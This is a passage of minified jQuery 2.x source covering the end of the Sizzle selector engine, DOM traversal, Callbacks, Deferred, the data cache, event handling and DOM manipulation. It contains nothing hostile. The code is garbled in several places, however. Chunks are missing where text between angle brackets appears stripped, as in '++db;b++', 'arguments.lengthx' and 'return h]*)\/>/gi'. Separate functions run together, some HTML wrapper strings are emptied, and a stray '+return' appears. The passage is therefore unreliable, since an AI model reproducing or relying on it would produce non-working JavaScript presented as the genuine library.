if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return 